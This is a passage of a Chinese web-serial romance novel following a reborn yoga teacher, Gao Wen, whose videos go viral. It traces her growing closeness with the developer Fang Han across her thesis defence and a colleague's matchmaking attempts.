【姿势标准，看似简单轻松拿捏，实则一点都不简单。】 【力和美的极致体现，柔软的运动美。】 【我感觉她360度启动关节，实在太牛逼了吧？】 【这么稳，核心力量真强，不是一般有韧性。黑她的人都是怎么想的？我一个外行都能看出她厉害。】 高雯回来的时候，刚打开门，就听到了熟悉的音乐。 许菲坐在餐桌上，正在外放她今天跳的那一段瑜伽视频。 看到高雯进门，她笑容满面：“我们的大网红回来了。” “许菲姐，你就别打趣我了。”高雯失笑。 “你看看你拍的视频，这一次又要爆火了。”许菲把视频给高雯看，“现在大家都在争锋模仿你，我目前刷到的视频，还没一个跳的比你好！” 高雯上一段内观流，因为很火，不少人也在模仿，但都比不上她。 这个视频刚发出来，就有人嗅到爆火的气息，立刻开始模仿，拼的就是谁先发出来。 很显然，高雯这个原版的宝座，还是坐得很稳。 “生活不易，都是牛马。”高雯说是因为馆里需要宣传。 许菲拉着高雯的手，让她坐下，随后对方寒道，“你不是买了芒果吗？给我们切一个啊，还有牛奶，我也要喝。” 高雯刚要拒绝，许菲就道：“他买了很多，不用跟他客气，你快教教我，这个要练多久才能跳出来？我也想惊艳朋友圈。” “应该需要一段时间。”高雯如实说。 “啊？不能速成啊？”许菲遗憾。 高雯：“这个还真不能，得慢慢来，你可以试试？” 方寒将切好的芒果端出来，放在桌上，他还细心准备了两个叉子。 许菲摇着头：“不，评论区说医保要刷爆，我加班赚点钱不容易。” 她尝了两块芒果，就起身回房了。 “小情侣”好不容易就接触的时间，她当什么电灯泡？ 许菲回房后，客厅就剩下高雯和方寒。 高雯在翻看视频下面的评论，她都没看过，有些网友说话搞笑，把她都逗乐了。 方寒从回来，偷偷在房间刷了无数遍这个视频，上一个视频他也看了很多遍，他一直都知道她身上的光芒耀眼，现在只是更多人发现她如此优秀。 他知道她有多努力辛苦，打心眼里为她开心。 “你有没有看到我拍的视频？”高雯突然抬头问方寒。 “没。”方寒下意识否认，害怕被她发现。 不擅长撒谎的他，眼神不自然闪躲。 “你肯定没兴趣，你又不刷短视频，”高雯笑着说，她喝着牛奶，见方寒打开电脑，“你要加班啊？刚刚不是在公司加完班才回来吗？” 下午的时候，方寒给她发过消息，说他要在公司加班。 “开发的那个软件还有点收尾工作，这几天处理结束，要去馆里测试。”方寒说。 “这么快啊？你真厉害！”高雯冲他竖起大拇指。 高雯的表扬在方寒看来很受用，他的嘴角有些微翘，“要在非运营阶段，你们什么时候能腾出电脑？到时候我过去。” 高雯想了想，“白天人都太多了，要不你晚点过去吧？晚上十点后？我在馆里等你。” “行。” 高雯喝掉最后一口牛奶，站起身：“那我先去休息咯？” “嗯嗯。” “你不要熬得太晚，身体重要。”高雯叮嘱。 “好，晚安。” “晚安——” 高雯进房门后，方寒还要缓一会，他拿出手机，将音量关小，看着视频里的她好几遍。 就如同热评所说：【看的时候感觉到动力满满的运动美，只有欣赏，无关其他。】 之后的几天内，这个视频继续发酵。 好似掀起一股潮流，无论是专业的，还是不专业的，大家都纷纷开始录制。 为了方便大家跳，高雯还录了一个带口令的版本，网友被她身材硬控后，又紧接着被她声音硬控。 只要节奏响起，他们就知道是高雯的这套动作。 不过，能完整跳起来的真不多，能够跳得和高雯一样有美感的，更是寥寥无几。 林思悦调侃道：“雯雯姐都有自己专属的BGM了。” 该视频的点击量比上一个还猛，点赞急速飙升至两百万，张妮几人狂喜，前几天的流量下降，可不是视频号的问题，就是人！ 她们以后都要拍高雯。 高雯当然不愿意，这相当于多打一份工啊，大美女也有包袱，哪能天天被拍，牛马都不这样。 她觉得其他老师还是得入镜，不能她一个人辛苦，现在好起来了，要换换人。 为了让她死心，张妮找了馆里另一个很专业的老师，拍摄视频发到网上，点赞勉强破千。 然后，她又把上次随意拍高雯练习后弯的照片发上去，点赞随随便便破十万。 “数据，是不会说谎的。”张妮对高雯说完，笑眯眯道，“雯雯老师，为了我们的新赛道，辛苦你啦。加油加油加油！！！” 高雯脸一垮，双眼都黯淡了。 虽说她不会放弃互联网的流量，但馆里的视频号要她一个人营业。这不是牺牲她一个人，幸福全馆吗？谁懂牛马的苦？ 高雯在晚上结束课程后，脸上有些疲惫，张妮说要拍两个视频。 “我有点饿了。”高雯没吃晚饭，她需要吃点东西补充一下体力。 “想吃什么？我去买。”林思悦立刻说。 “我自己下去买，顺便透透气。”高雯说完扯了扯嘴角，“稍等啊，很快回来。” 林思悦做了一个“OK”的手势。 高雯快速往楼下去，一楼就是大商场，不过她要走得远一点，她发现有一家卖减脂餐的店面，味道还不错。 她没打算多吃，浅尝几口就行。 高雯这段时间上了太多课，晚上多上一节，都感觉得吃点东西，不然不行。 她的脚步越走越快，身后突然传来一道声音：“高雯。” 高雯循声望去，看到不远处的林珩。 她神色微变。 林珩越走越近，高雯迅速调整心态，礼貌出言：“林副总监。” 每一次见林珩，她都会升起一股烦躁，但又不敢和对方杠上。 毕竟，前一世她就是惹怒男女主，才落得这么个下场。 谁知道他们有什么光环？ “好久不见。”林珩笑着打了声招呼。 “好久不见。”高雯笑得牵强，“你怎么在这？” “等我妹下班，”林珩说完，看向她直言道：“我给你发过消息，发现某人把我删了。” 高雯装傻，面色诧异：“我吗？” 林珩依旧笑着，没接话。 “可能是误删了吧，微信好友太多了，不小心删错了，实在不好意思。”高雯话语歉意，一脸诚恳的样子。 “没关系，再加回来就是了，”林珩掏出手机，点了几下，随后看向她，等着她同意。 高雯只能把手机掏出来，又把林珩加上去，还要敷衍笑一笑：“加上了。” 得亏她的演技一直都很好，不然真装不下去。 “下次不会误删了吧？”林珩又半开玩笑问。 “不会不会。”高雯挤出几个字，极力维持着笑意。 林珩看出了她的不情愿，小姑娘总是藏不住事，在高雯要找借口离开的时候，他突然道，“上一次的事情，你别往心里去。” 高雯神色稍楞。 林珩清了清嗓子，垂眸道：“我在网上看过你的视频，比起我们这一行，你在其他领域更优秀，将来会有好的发展。” “我说的话，你别介意。大家以后还是朋友，说不定会有什么合作呢？” 高雯没想到，林珩会跟她道歉。 他的语气还是有点傲慢，但这已经很难得。 不过，比起道歉，高雯希望能永远划清界线。这座城市那么大，听说绝大部分分手的人，一辈子都见不到。 她只想安安稳稳，过完自己这一生。 转角的咖啡厅内，戴着口罩打扮朴素的姜舒妍正看着这一幕，她紧握着拳头，指甲都要嵌入手心嫩肉里。 林珩对她大部分时候都是不冷不热，却对高雯笑得那么灿烂。 高雯不应该是促进他们感情的燃料吗？ 这些天，姜舒妍为了凑钱，把姜母给她留的一套房卖了，现在住的大平层是姜父姜传文名下的，她没资格卖。 姜传文可能是没儿子的命，这些年瞎乱搞，要么怀不上，要么生女儿。 姜舒妍只要嫁给门当户对的林珩，到时候姜传文东西都得给她，她只需要在自己和林珩的婚礼上大肆宣传，让网友羡慕他们的爱情，分分钟能起视频号，当大网红。 再之后，林珩会创业成功，当总裁，她就是总裁夫人。 这就是她完美的一生。 现在，姜舒妍为了不让梵盈馆长把她供出来，不仅要卖房，还要把自己的奢侈品都卖了凑钱，从不食人间烟火的大小姐，变成和没穿书时一样，又要为钱发愁。 以前她最瞧不上来找自己的小广告商，现在也为了钱，拍摄几条视频，将劣质产品夸得天花乱坠。 这一切，都是因为高雯。 如果不是她—— 姜舒妍收回视线，视线阴沉，盯着对面的人咬牙道：“我把钱给你了，这件事，就和我没关系，你清楚了吗？！” “我拿钱办事，绝对不会把你供出来。”梵盈馆长起身，临走前道，“放心吧，所有的罪名，我会认！” 姜舒妍松了一口气，跌坐在椅子上，她捂着头，虚惊一场后，又是无尽的气愤懊悔，外加怨恨。 那是她能拿出来的所有钱，她的底气，就这么全没了。 * 高雯没说几句话，两人就分开了。 但也正是因为这几句话，高雯食欲大减，买回来的减脂餐，没吃几口。 她怕耽搁林思悦和张妮下班，先去配合她们拍视频。 高雯是个镜头感很强的人，两个视频都是一次过。 张妮和林思悦欢天喜地收拾着东西要回去，见高雯没动作，好奇问：“你不是没课了吗？还不走吗？” “一会我朋友要来给系统做测试，我等等他。”高雯回。 两人听说过徐眉找人定制系统的事情，了然点了点头，热情和高雯道别，手挽着手就往电梯走，叽叽喳喳讨论着八卦。 瑜伽馆的人都下班了，两人一走，更加静悄悄，高雯的面色更添一丝抑郁和复杂。 就在她陷入自己压抑纠结的情绪时，手机收到方寒发的消息。 高雯不想打字，直接给他发了视频，那一头很快接听。 电话那头露出方寒那张清秀帅气的脸，他笑着问：“下班了？我现在能过去吗？” “可以，你来吧。”高雯说。 方寒有时候都觉得自己是不是太敏感，一下能察觉她不太美好的心情，他接着问：“吃饭了吗？” “买了减脂餐，没什么胃口，吃了两口。” 果然，方寒猜对了：“我下楼了，现在过去。” “嗯，我在馆里等你。” “好。” 高雯挂掉方寒的电话，将手机丢到一边，有些蔫蔫趴在桌子上。 莫名感觉有些被抽到了力气。 高雯的低落情绪没维持多久，门口就传来动静。 她还没抬头，率先闻到了一阵食物的清香—— 作者有话说：早安呀。 第28章 第28章 嫂子，我没女朋友。 方寒推开门走了进来, 手上还提着一个食物打包袋，他走过来将袋子放在高雯面前，笑着说：“我给你买了点关东煮, 可能会让你有些胃口。”说完还特意补充, “这些都是水煮的，所以也是减脂餐。” 高雯闻着香味, 肚子突然就饿了，她看到方寒还拎着一小袋东西：“那是什么？” “这个啊，”方寒打开包装, “我刚刚在楼下看到有卖水果糖葫芦，觉得挺有特色就买了几串。” 高雯看着精致的盒子里的几串糖葫芦。 乌梅番茄、草莓玫瑰、菠萝蜜酸奶、车厘子砂糖橘 她拿起其中一串, 山楂上面是一个可爱的米菲兔，还有一串山楂中间加了一块香蕉, 雕刻了财神爷的表情包, 喜庆招财。 “居然还有这个。”高雯细细看着这几串糖葫芦, 唇角扬起一抹淡笑，“哪买的？我都没看到啊。” “好像是流动摊位, 刚好碰到了。”方寒没说自己专门去买的, 找了个借口。 “我要尝尝。”高雯舍不得吃那个米菲兔，也舍不得吃“财神爷”, 挑来挑去, 选了乌梅番茄。 一口咬下去，外层糖脆、果肉爆汁，酸酸甜甜她的眼睛眯了起来, 露出一个明艳灿烂的笑容，像个被糖果哄好的孩子。 方寒看到她这样，嘴角止不住扬起, 他往柜台走：“我先做压力测试。” 他走前，往她的桌上放了一瓶温热的牛奶，是她一直喝的那个牌子。 高雯看着那瓶牛奶，眼底闪了闪，一种难以言说的情绪在悄然滋长，但她并不反感。 她没吃太多糖葫芦，伸手打开了关东煮。 按道理说来，吃了糖，胃口应该有所减小，但她打开关东煮盒子时，被香得忍不住咽了咽口水。 里面基本都是她平时喜爱的素菜，外加一小点粉丝。 方寒是那么清楚她的口味！ 高雯在小口小口吃饭，方寒看着后台的课表轻声道：“你最近的课，比之前多了不少。” “嗯。”高雯吃着白菜，“馆里推出我的小课，卖得不错，约课的人多了点。” 方寒：“要注意休息，身体重要。” 他看到她这几天的课几乎都被排满了，从早到晚。 “她们可能还有新鲜感，过段时间人就少了，我还好。”高雯说完，笑着举起一串糖葫芦，“学长，你也尝尝？” “我忙完再吃。”方寒清楚她要强，没有多说劝阻的话。 高雯点头，继续品尝她的晚餐。 因为吃了糖葫芦，她原本只想吃几口关东煮，吃着吃着，汤都要见底了。 高雯倒不懊悔，还喝了半瓶牛奶，选了自己最喜欢的米菲兔和财神爷糖葫芦，剩下的几串拿过去放在方寒手边，“这几串是留给你的。” “谢谢。”方寒看着电脑，手指放在键盘上快速点击着。 高雯眉开眼笑，语调流转：“不客气。” 她没有打扰方寒，默默走到了窗边，看着外面繁华多彩的霓虹灯，还有那来来往往的车流，静静等待着。 高雯举起糖葫芦，往嘴里送了一口。 酸酸甜甜的味道刺激味蕾，让她皱了脸，感触却越发真实。 她是人，是活生生的人，哪怕这个世界不是真实的，但她是有血有肉的人。 高雯往后看了眼正在忙碌的方寒，他神色专注处理着程序。 她不得不承认方寒是个善良又温暖的人，他的到来，让她内心的忐忑不安得到极大地缓解。 高雯收回视线后，默默盘腿在窗边，继续小口小口吃着她的糖葫芦。 没一会，她的身旁坐下来一个人。 方寒捧着纸盒里她刚刚给他的那几串糖葫芦，他很有分寸，两人之间，隔了位置的距离，不远不近。 “测试好了？”高雯问。 “要等一会，看看负荷时的稳定性。”方寒回，“很快就好了。” 高雯了然，她举起剩下的半串糖葫芦，弯着眉眼看向方寒道：“谢谢你。” 方寒：“几串糖葫芦而已。” “嗯这好像是我第二次吃糖葫芦，”高雯说完有些陷入回忆，“第一次是我上一年级的时候，我爸偷偷给我买的。后来家里还因此爆发了一场大争吵，后来我就再也没吃过，忘记是什么味道了。” 她从小都被严格要求，吃糖会发胖会长蛀牙，会变得不好看，嫁不了有钱人，“卖”不上好价格，投资会失败亏本。 第一个给她买糖葫芦的人是高父，第二个就是方寒。 说不感动都是假话，高雯开始意识到，原来她也需要情感，而并非感情冷漠的人，不知道这算一件好事还是坏事。 闻言，方寒心下沉闷，不知道该说些什么安慰她。 高雯瞧见他复杂的神色，故作轻松问：“是不是觉得我很可怜？” 方寒摇头：“每个家庭的教育方式不一样。” “你就不一样。”高雯每一次看到方寒身上的从容随和，都会让她自惭形秽，和他相比，显得她那么物质虚荣。 他们就像两类不一样的人，本来就不应该有交集。 有时候，高雯甚至觉得，方寒是不是也有属于自己的“剧情线”，被迫于和她捆绑在一起。 “我从小和爷爷奶奶，外公外婆长大，当然和你不一样，”方寒说着笑道，“毕竟隔着一代人养育，总会有些代沟。” 高雯一听，略有些诧异。 她一直以为，方寒是在父母疼爱中长大的。 “这其实不太好，从初中开始，每隔几年，我就会经历一场离别，”方寒说着眸光有些黯淡，似乎触及了他不太愿意提起的话题。 高雯有些懊悔，为什么要提及这个话题。 方寒是孤儿吧？看来他的家境，比她的想象里，更要惨一点。 父母都不在了，所以靠爷爷奶奶，外公外婆养育，然后老人相继离世。 她之前听到方寒打电话，说什么回去租房的事情，还以为只是家境差，没想到比她想象中的还要复杂。 这也太可怜，比她都可怜。 “他们把你养得这么好，肯定很欣慰。”高雯吃掉最后一口糖葫芦，转移话题说，“今天热量超标，但没关系，要多吃点甜的！你也要把这几串吃完，不要浪费！” “好。” 鉴于对方寒的怜悯，高雯在回去的路上话多了些，她尽量避免提及家世的事情，甚至不得不感慨，自己之前没有提及是相当对的事情。 夜晚寂静，微风徐徐，结束了一天忙碌的生活，适合在昏黄的灯光下慢慢散步回去。 奈何天公不作美，两人走到半道，下起了蒙蒙细雨。 方寒第一反应是寻找能够躲雨的地方，可别把她淋湿了，这季节容易感冒。 “有伞，我有伞。”高雯说着，打开背包，从里面拿出她的遮阳伞。 她打开伞，看到站在雨中的方寒：“学长？” 伞有点小，雨不大，也够用。 方寒站着没动：“走吧，雨不大。” “下雨了！”高雯往前走几步，着急举起伞，遮在他头顶。 恰逢此时，雨突然变大，高雯不得不往前走半步，两人一下贴得很近，她皱着眉头，左右看着正在不断滴落的雨水。 方寒望着近在咫尺的人，心重重跳了两下，耳朵起了一层绯色。 庆幸在黑夜里，无人能看到。 * 周二。 高雯一大早起来，收拾好后，她从房间出来。 她没穿瑜伽服或者休闲装，而是穿了一件浅蓝色的渐变裙，外面配一条简单白色开衫，收腰设计，配色温柔，看着落落大方又优雅。 高雯还化了一个淡妆，娇俏清纯，让人移不开眼。 她今天不上课，开学了，要回去见论文导师，和同学们一起提交纸质版开题答辩初稿，开个会。 高雯不是一个人回去的，她和方寒一起。 车上，高雯看着坐在旁边的方寒：“人与人是不一样的，同样是回学校，我只想顺利毕业，估计一会还得挨导师臭骂一顿，而你，算不算被八抬大轿请回去的？” “哪有那么夸张？”方寒被她逗笑，“老师之前牵头的这个项目就是我负责核心算法，现在出现问题，我有责任和义务协助处理好。” “反正比我好。”高雯喝着无糖黑芝麻豆浆。 今天起晚了，还没吃早餐，下楼的时候，方寒买了两杯豆浆，一人一杯。 “吃个面包？”方寒打开袋子，把面包往她面前伸了伸。 高雯不吃，继续低头翻看着她手中的纸质资料，时不时还要在嘴上默念巩固，加强印象。 上一世，论文答辩过程很不顺利，她无心写论文，都在和林珩“纠缠”，因为论文问题，被导师骂得狗血淋头，出了不少丑，险些都毕不了业。 饶是不太喜欢这个专业，高雯这几年也尽心尽力学好，绩点不错，这不该是她的结局和遭遇。 方寒看出了高雯的紧张，他瞥了眼她手中的资料，就势提出几个问题。 她立刻接上，随后更是直接把手中资料给他：“你问，我答，不然我怕一会导师突然问我，我答不上来。” 高雯说完还强调：“据说我们这个导师很严格，我还是有点小慌张。” 方寒拿着资料，翻看了几下，她的那些论文资料，他都看了不少，有些还是他帮她找的。 两人你一言我一语，磕磕碰碰交流，方寒不是这个专业，当然不比高雯懂得多，她偶尔还要认真跟他解释，细细解答。 那双乌黑湛清的美眸提留乱转，思考得极其深入，身上充满认真的劲儿，让方寒嘴角笑意渐起。 他避开与她直视，假装看着资料。 高雯则一直在观察方寒的神色，生怕自己有何不妥，见他笑得频繁，略带迟疑出口，“笑什么？我说错了吗？” 方寒摇头，笑容一点没收。 “你肯定在笑话我。”高雯一把将资料抢过来，低头默默在看，语气还有些愤愤不平，“学霸对学渣总是有一种天然的鄙视，真讨厌！” 方寒快速否认，“我没有。” 高雯把资料抬起来，抵着方寒的肩膀，把他往后推：“你失去了对我提问的资格，学渣也有自己的尊严。” “我——” “不要狡辩。” “” 车正好停下来，方寒收获了高雯一个无情冷酷的背影。 他无奈失笑，下了车后，掏出手机，一条短信来回打打删删，在原地斟酌许久，最后才发送出去：【你准备得很充分了，不要紧张，一切顺利。忙完再联系。】 方寒其实想和她说，一会一起回去，但想到她可能要和同学聚一聚，不一定会和他一起。 他叹了口气，给导师打了电话，快步往另一头走。 高雯还没走到教室，一颗心就砰砰砰直跳，她的确很忐忑。 导师没变，还是赵丹琴教授，要求一如既往严格，好几个人都被骂得当起了缩头乌龟，高雯坐得端正，手机都没敢看一眼。 轮到高雯的时候，赵丹琴导师头疼揉了揉眉头：“心脏病迟早被你们气出来，以为开题答辩不是答辩，临时拼凑应付我是吧？我说修改的地方，全给当耳边风！” 她一边说着，一边翻阅高雯递过来的资料，板着脸随口提出几个问题。 高雯对答如流。 赵丹琴的脸色好了不少，抬头看了高雯好几眼。 从教室出来后，高雯如获新生，走出门的时候，深深呼了好几口气。 寝室群里的消息炸个不停，高雯找了个小树林的长椅坐着，低头看消息。 她先回了方寒的消息：【我结束了，你呢？】 紧接着，她开始查看寝室群里的消息。 她们寝室是四人寝，今天只有三个人回来了，除了高雯，还有两个室友，陈雅馨和张乐佳。 高雯把消息往上翻，她们激烈讨论的不是论文，而是陈雅馨偷拍的一张照片。 把照片点开，高雯直接坐直身子，瞪大眼睛再次确认。 陈雅馨：【我今天拍到的，张乐佳，你还记得是谁吗？】 张乐佳：【方寒学长啊，他不是毕业了吗？怎么回校了？】 陈雅馨：【不知道，估计有事吧，我看他和张教授站在一起，激动死我了。】 张乐佳：【我靠，他出现在表白墙上了，这么迅速的吗？】 高雯都不清楚她们认识方寒，不过细想起来，她在寝室的时间，多数只有睡觉，和她们也没讨论过这些话题。 听闻方寒出现在表白墙，高雯去查看表白墙。 有学妹拍了方寒的照片，跪求是哪个专业的学长，想要联系方式。 下面评论更是聊得火热： 【方寒学长回来？】 【又一个陷进去了，快放弃吧，那是你多少学姐得不到的男人。】 【以前每一届不都出现好多，我都佛了，各种风格都有，就没听说过谁拿下这位学长了啊。】 【这个真喷不了，方寒学长为人谦和有礼，人品嘎嘎好。】 【表白归表白，可别寻死要活啊，方寒学长毕业了，没人能救你。】 【哈哈哈哈——】 高雯看到评论有些疑惑，顺藤摸瓜，翻出她大一那年，学校出了一件轰动的事情。 有女同学和方寒表白被拒，寻死觅活？还跌入湖里？ 最后还是方寒把她救上来，送到了医院。 他不仅垫付了医疗费，据说这位女同学还因为逃课先挂科，还是方寒给了她一份整理的资料，帮她补考过了。 就在大家觉得有戏的时候，方寒恳求导师不要让他再当助教，实在是多了很多无法应对的事情。 就这件事，张教授和每一届学生都痛心疾首说，让各位女同学克制一点，都吓到学长了，不然他都可能多一个博士生。得亏方寒人品好，不然后果不堪设想。 事情很快就传开。 那位女同学后来出来道歉了，说自己的确喜欢方寒，原先只觉得他长得好，脾气好，现在更钦佩于人品，她的确有心理方 面的问题，因家境的原因，无法得到救治，方寒学长已经帮她找了心理医生，她也吃药了，病情稳定很多，在此对方寒学长造成的伤害深表歉意。 高雯查看着当年的事情，她居然不知道还有这么一出。 方寒当时这么有名吗？看来她的大学，忽略了很多事情。 高雯点开和方寒的聊天页面，他还没回话，她正想着要说点什么，不远处就传来一道声音：“方寒啊，这段时间还是要麻烦你多回校了。” “应该的，时间上我能安排得过来，不耽误事。”方寒接话。 闻声，高雯抬头望去。 方寒和张教授正并肩走在校道上，隔着茂密的树林，两人谈论着项目上的事情，并未注意到背对着他们坐在石桌上的高雯。 正交谈着，张教授话锋一转：“对了，你有女朋友了吗？” 方寒微愣，随后答：“还没。” “我给你介绍一个怎么样？”张教授笑着夸，“是你师母的侄女，和你学的是同一个专业，小姑娘今年本科毕业，长得水灵灵，说话温柔，本地人，父母都是大学老师。书香门第。” 高雯竖着耳朵在听八卦。 听起来，条件不错，应该也是独生子女。 方寒要攀高枝了。 “老师，我刚工作，没那个心思。”方寒说。 张教授：“年轻人不要老想着工作，工作是要做一辈子的，慢慢来，但是谈恋爱得抓紧，再过几年，你都三十了，年纪也老大不小，时间很多的，你要是不抓紧，一晃就四十了。” 方寒：“” 他怎么就四十了？ 高雯听得想笑。 看来长辈催婚的借口，都差不多。 张教授还在继续：“你师母把你的照片给那个小姑娘看，人家对你很中意，我这里也有她的照片，你看一下？你们年轻人啊，可以一起去吃个饭，逛个街。” 张教授说完，就把手机拿出来，要给方寒发照片。 “老师，你别，我暂时不想谈恋爱，别耽误了她。”方寒神色肉眼可见慌张，甚至往前走了两步，“我还有点事，老师，我先走了，有事你给我打电话。” “你这孩子，就是交个朋友，年轻人就应该多交朋友！”张教授提高声音说。 方寒再一次拒绝。 高雯都替方寒觉得遗憾。 本地人，父母都是大学老师，书香门第。 说不定，少奋斗十多二十年。 方寒和张教授分开没一会，就给高雯回了消息：【不好意思，刚刚没看到，我也忙完了，你还在学校吗？】 高雯：【嗯，我在五食堂这边。】 方寒：【你想在学校吃饭？还是回去？】 高雯想到他今天刚刚在学校被拍，她可不想和他一起上表白墙，但高雯好不容易回一趟回校，又想念学校附近的美食，和他约了在小后街远一点的地方见面。 那边有不少精致干净的小馆子。 高雯先到馆子里，方寒来迟一点。 他刚坐下，就见高雯看着他笑得有些不对劲。 “怎么了？”方寒动作慢了半拍，瞧见她心情不错，没了上午的焦灼，应该是论文进行很顺利。 高雯没藏着掖着：“我刚刚听到你和张教授的聊天了。” 方寒拿过碗筷：“我没看到你，你在哪？” “你别管我在哪，他要给你介绍对象。”高雯笑着说。 方寒脸上有些局促慌张，张口就要解释。 “你为什么不答应呀？那么好的机会，去见见又没什么，不合适就当交个朋友。”高雯诚心建议。 按照她的逻辑，人都没见，怎么知道后续会发生什么呢？ 她甚至觉得，量变才能产生质变，只有见过足够多的人，才知道自己真正想要什么。 高雯是个现实主义者，她要不是已经放弃了婚恋这个想法，她的性子，只要有机会，都会见一见，认识不一样的人，寻求最合适自己的，相处最舒服，最能让她过得好的。 而且，对方还是个本地姑娘，条件不错，中意方寒。 他有学历，有能力，有长相，具备一切上娶的条件，人何必为难自己呢？自私不一定不快乐。 方寒眼底的情绪逐渐恢复正常，声线平淡认真回她：“我打算去师哥的公司和他一起创业，这几年会很忙，没有这方面的心思。” 高雯了然：“比起工作，这些的确不重要，是我肤浅了，你就努力工作吧！加油！” 爱情哪有事业重要！ 对她来说也是的！ * 高雯是真信了方寒的话。 毕竟对她来说，事业真的很重要。 她那么努力读书，拼命来到首都，想要在这里扎根，方寒应该比她更加不容易。 他不想谈恋爱，其实挺好的。 对他们两个人来说，更好。 不过，高雯坚信没有恋爱想法的方寒，此时正着急万分看着不远处的张妮，极力克制激动强调：“嫂子，我没女朋友。” “你不是金屋藏娇吗？你师哥说的。”张妮审视他。 “我没有。”方寒话语笃定。 “真没有？” “没有。”方寒毫不犹豫回。 “我相信你了，我给你看我们瑜伽馆雯雯老师的照片，我早就想把她介绍给你了。”张妮笑着走过来，强调道，“我是看你人品好，我才愿意的噢，别人我都觉得配不上！” 第29章 第29章 生姜白葱红糖水 张妮打开的照片里, 高雯一身象牙白的上衣配黑色的裤子，将头发绑起来，随意坐在瑜伽垫上, 冲着镜头浅笑, 眉眼弯成一轮半月牙状，娇憨动人。 仅一眼, 方寒心跳快得不行。 经历太多相亲局，张妮刚刚在试探他有没有女朋友的时候，他就知道对方想做什么。 张妮这段时间, 挂在嘴边的人就是“雯雯老师”，方寒有一种预感, 而他的预感的确对了。 方寒也仅仅看了一眼，张妮的手机就被顾书杰抢走了, 对方有理有据道, “你别捣乱, 方寒这才刚辞职，准备大干一场, 属于事业上升期, 不要被谈恋爱分了神。” 这个月，方寒才来他们公司入职, 为此, 顾书杰兴奋好几个晚上，生怕被鸽。 现在是工作重要，谈什么恋爱？ 方寒默默看向顾书杰。 若是顾书杰细看, 就能看到方寒微微蹙起的眉头，那是他对师哥第一次生起小小一点不满。 “事业上升期怎么了？事业上升期就不能谈恋爱了？当初我们谈恋爱的时候，不也没耽误你事业吗？你还说我是你事业前进的兴奋剂！”张妮大声反驳。 办公室内, 大家笑开。 顾书杰尴尬摸了摸鼻子，摆了摆手，“算了算了，你开心就好。” 张妮嘀咕了几句，重新看向方寒：“嫂子就是觉得，你也到了谈婚论嫁的年纪，现在二十六，认识一个人半年，谈两三年恋爱，接近三十岁结婚，这不是刚刚好吗？” “人家小姑娘优秀独立，和你一样是A大毕业，热心上进，人又善良，有什么不好？对不对？” “你们这个年纪啊，就应该多认识一些朋友，哪怕谈不成恋爱，也会有更多交际，尤其是你们这个职业，天天加班，不通过介绍，去哪认识那么多新朋友？怎么谈恋爱啊？要勇敢迈出这一步！” 说句私心的话，张妮是为高雯考虑更多一点。 方寒和顾书杰认识多年，她算是比较了解方寒的人品，那是人性底色里有了谦和有礼，不傲不逊，淳厚善良，加上是本地人，家境看着应该不差，毕竟本地有房，还能从家里搬出来。 方寒还长得清秀帅气、学历高、能力强、待人真诚，属于有底子的潜力股，像这样各个方面都没短板的男人，十分不好找。要是让张妮理性分析，顾书杰的硬件跟方寒比，都还差一点。 这种男人必须要趁早拿下，不然等事业上更上一层楼了，多少有些功利成分存在。 谁要是嫁给他，日子过得准差不了。 张妮又苦口婆心说了好几句，拼命介绍高雯的优势和性格好，可算是把方寒“说服”了，他沉吟片刻缓缓点了点头：“嫂子说得对，我知道了。” “那你是同意了吧？”张妮笑开颜，“我去问问雯雯的意思，可以的话，我就让你师哥组个局，叫上办公室的人一起聚聚餐什么的，不然怕你们尴尬。” 她话语间，带着考虑周到的自信，十分为两人着想。 在张妮走后，方寒又投入到了工作中，他克制紧张盯着屏幕发呆，一颗心砰砰砰直跳个不停。 顾书杰看着方寒认真工作的样子，压低声音对张妮道：“你又乱牵线，方寒不怎么接话，你这就属于乱点鸳鸯谱，我清楚他的，他不喜欢这些。” 方寒耳尖，听到顾书杰的话，点击鼠标的动作顿住，薄唇紧抿有些忐忑慌张。 “他没反对啊，你别管了！”张妮瞪了瞪顾书杰。 顾书杰没说话了。 方寒悬着的心慢慢放下，唇角勾起不易察觉的弧度。 一整天，方寒都有些心不在焉，时不时看向门口，期盼些什么。 只可惜张妮迟迟没出现。 当天晚，方寒下班回去时，在门口遇到了高雯。 高雯手上拿着好几个快递，难以空出一只手刷门禁卡。 方寒快步上前，刷了卡后，从她怀里接过快递，笑着道：“我来帮你拿。” 高雯没拒绝，她看着方寒笑得灿烂的脸，忍不住翘起唇角问：“看来你在新公司适应得很不错啊，笑得这么开心。” 她知道他已经辞职，去了师哥的创业公司，据说那家公司发展得不错，有前途。 方寒这个举动倒是出乎她对他的认识，不过一个人怎么可能完全了解另一个人呢。 “之前一直都去兼职，算是很熟悉，适应得很不错。”方寒伸手按下电梯，看着她说。 他在想，张妮有没有和她说介绍对象的事？ 她会同意吗？ “那很好啊，等周末，可以做顿大餐庆祝一下，叫上许菲姐一起。”高雯说完有些不好意思道，“其实是我们想吃烤肉了，我在网上买了个烤盘，都取回来了。” 高雯说着，指了指方寒怀里最大的那个快递。 她和许菲前几天就约好，只是还没来得及告诉方寒。 之前都是方寒做饭，两人蹭饭，他们聚餐当然要叫上他，而且她们两个人都是厨房白痴。 “可以，到时候我再买点火锅底料，你们想吃什么告诉我一声就行，我去超市买。”方寒立即说。 高雯：“不了，是我们组局，当然要我们买，我和许菲姐约好早点下班一起去超市，我们买就好啦。” 方寒一听她们都约好了，没再多说。 回去的时候，高雯和许菲还在客厅讨论了一阵。 许菲前段时间在减肥，高雯则每天都是减脂餐，这一次周末要吃火锅烤肉，必须谋划很久，这可是她们的大事。 方寒拿出今天买的火龙果，给她们切了一个，默默不打断，认真听。 高雯偶尔拿起手机看消息时，方寒的心就会往上提一提，生怕是张妮发来的消息又希望是张妮发来的消息。 都过了一天，还没说吗？ 高雯面色未变把手机放下，继续笑着和许菲聊天。 看来不是张妮发的消息，方寒有些失落，还得极力掩饰。 一晃，又过几天。 方寒这几天可不好过。 张妮来过公司几趟，愣是没提给两人撮合的事。 盼来盼去，也不知道是什么情况，方寒罕见有些焦虑失眠。 周五下午。 张妮又来了。 她每次来，办公室的人都挺激动，因为她会给办公室的人带汉堡薯条咖啡可乐。 这一次，张妮带的东西更为丰富，除了那些，居然还有榴莲披萨，蛋糕千层，各种糕点零食还有鲜榨果汁，满满好几大袋子。 “谢谢嫂子。” “嫂子你真的太好了。” “嫂子，这个榴莲披萨不错，好吃。” 办公室里弥漫着香味，顾书杰啃着大汉堡，开始狠狠夸一夸自己的老婆。 张妮往方寒的工位走。 她走来时，方寒握着键盘的手心就开始冒汗。 